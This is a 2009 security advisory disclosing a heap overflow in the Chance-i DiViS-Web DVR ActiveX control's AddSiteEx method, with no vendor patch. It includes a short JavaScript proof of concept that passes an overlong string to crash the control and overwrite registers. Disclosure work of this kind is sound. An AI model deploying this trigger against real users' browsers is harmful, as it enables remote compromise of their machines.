Digital Security Research Group [DSecRG] Advisory #DSECRG-09-035 original advisory: http://dsecrg.com/pages/vul/DSECRG-09-035.html Application: Chance-i DiViS-Web DVR System ActiveX control Versions Affected: 3,0,0,7 Vendor URL: http://www.chance-i.com/ Bug: Heap Overflow Exploits: YES Reported: 13.03.2009 Second Reported: 20.03.2009 Solution: NONE Date of Public Advisory: 09.04.2009 Author: Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com) Description *********** DiViS-Web ActiveX (ActiveView.cab) has Heap Overflow vulnerability. Details ******* Heap overflow vulnerability found in AddSiteEx() function. There is an exploitable heap overflow vulnerability in DVR's ActiveX control (ActiveView.cab). If an DVR user were to visit a malicious web page, the overflow could be triggered allowing for a "remote" compromise of the user's machine. Alternatively, an attacker could send their target a specially crafted e-mail, loaded with an exploit to take advantage of this vulnerability. The problem arises by passing an overly long string to the AddSiteEx method of the control. PoC: //server address var g_sAddress = location.hostname; var g_sId = ""; var g_sPwd = ""; var g_bLogin = false; var g_nMaxCamera = 16; // Port setting var g_nImage = 3000; var g_nControl = 3001; var g_nSound = 8800; var long_buff = "alexsint"; while(long_buff.length<(550*8)) long_buff = long_buff + "alexsint"; //rewrite registers DVR.Channels = 1; DVR.AddSiteEx("", "", long_buff, "", 0, g_nImage, g_nControl, g_nSound); //Crash on Free() at ntdll Solution ******** We did not get any response from vendor for more than 2 weeks. No patches aviable.
